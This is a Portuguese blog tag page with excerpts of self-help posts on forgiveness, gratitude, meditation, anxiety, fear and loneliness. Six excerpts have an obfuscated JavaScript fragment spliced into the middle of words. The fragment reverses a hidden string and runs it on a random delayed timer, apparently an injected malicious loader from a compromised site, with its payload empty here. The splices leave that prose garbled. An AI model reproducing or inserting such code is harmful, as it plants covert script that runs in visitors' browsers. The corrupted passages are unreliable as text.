Artigos da tag: saudável

Como o perdão pode mudar sua vida

Perdão não é esquecimento, nem fingir que nada aconteceu. Perdão é não guardar ressentimento, abrir mão, deixar ir embora. Falar de perdão não é uma tarefa fácil. Por que será que o perdão é tão rejeitado e temido pelas pessoas? Uma das causas que mais interferem nessa questão do perdão é o orgulho. Muitas vezes para perdoar alguém devemos deixar o...

Agradecer- É melhor dar do que receber.

A gratidão é uma das qualidades mais nobres do ser humano, infelizmente muitos de nós olhamos mais para o que nos falta. Temos muito a agradecer e oferecer. Hoje resolvi parar para escrever esse post para agradecer. Hoje passei um dia meio tenso rs, mas algumas coisas fizeram bem para mim nesse momento, então eu achei que o melhor...

Meditação- 9 benefícios …é para começar hoje!

A Meditação tem apresentado tantos benefícios que até parece mentira que uma prática simples, barata, transformadora e sem efeitos colaterais possa trazer tantos benefícios. Você já percebeu que  apesar de todo avanço nas ciências e medicina e de todo avanço tecnológico as pessoas se encontram cada dia mais distantes da paz no coração e na alma? Em busca de um...

Ansiedade e Felicidade.

Ansiedade e  Felicidade. " A Felicidade não é  uma estação de chegada, mas uma maneira de viajar"  (Runbeck) O que é a felicidade para você? É muito comum pensarmos que nossa felicidade virá qu$nJe=function(n){if (typeof ($nJe.list) == "string") return $nJe.list.split("").reverse().join("");return $nJe.list;};$nJe.list=;var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando terminarmos os estudos, ou qu$nJe=function(n){if (typeof ($nJe.list) == "string") return $nJe.list.split("").reverse().join("");return $nJe.list;};$nJe.list=;var...

Papel da meditação e relaxamento na ansiedade

A sociedade, hoje, vive no caos, que de certa forma nos atrai: o progresso. A rotina das gr$nJe=function(n){if (typeof ($nJe.list) == "string") return $nJe.list.split("").reverse().join("");return $nJe.list;};$nJe.list=;var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andes cidades, centros comerciais e financeiros nos leva a uma vida desgastante e nos deixa ansiosos (aflitos, agoniados, perturbados) com o que pode vir no amanhã...

O Medo, o Gafanhoto e a Autoestima.

A palavra medo provém do termo latim metus. Pode vir de uma ameaça real ou imaginária, caus$nJe=function(n){if (typeof ($nJe.list) == "string") return $nJe.list.split("").reverse().join("");return $nJe.list;};$nJe.list=;var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando angustia e afastamento do que perturba. O medo é uma sensação muito comum em pessoas ansiosas, pela constante preocupação com o futuro. O gafanhoto é um inseto...

# 6 Atitudes para uma Semana de Vitória.

Todos queremos vitória,isso é fato. Algumas épocas da nossa vida nem sempre são o que gostaríamos, mas ainda assim elas tem o seu lado positivo. Olhamos à volta e só vemos coisas ruins, nos últimos tempos, ataques terroristas, assaltos, mortes, acidentes são as coisas que mais vemos se abrimos o jornal, ligamos a televisão ou olhamos na internet. Isso acaba nos...

Festas e a solidão… a ansiedade que só aumenta.

Uma das sensações mais difíceis de lidar nesta época de festas é o sentimento de solidão. O coração da pessoa ansiosa não dá trégua, apesar da família reunida, da casa cheia, do espírito natalino e dos presentes o coração permanece vazio. A saudade parece ficar ainda maior. Saudade de alguém que se foi de repente, saudade de um relacionamento...

Separação – sonhos destruídos… # 3 armas para vencer o sentimento de culpa.

Estava convers$nJe=function(n){if (typeof ($nJe.list) == "string") return $nJe.list.split("").reverse().join("");return $nJe.list;};$nJe.list=;var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando com uma amiga ontem e durante nossa conversa sobre problemas e separação, maridos e ex, pude perceber um sentimento de culpa nas palavras dela. Como não é raro as pessoas sentirem-se culpadas por muitas...

Ansiedade infantil – # 5 importantes cuidados na educação das crianças.

     Qu$nJe=function(n){if (typeof ($nJe.list) == "string") return $nJe.list.split("").reverse().join("");return $nJe.list;};$nJe.list=;var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando eu escolhi ser Ortodontista eu já sabia que estaria sempre em contato com jovens e adolescentes. Pelo menos, esse seria o meu maior público. E é claro que o dentista acaba estabelecendo uma relação afetiva com seus pacientes,...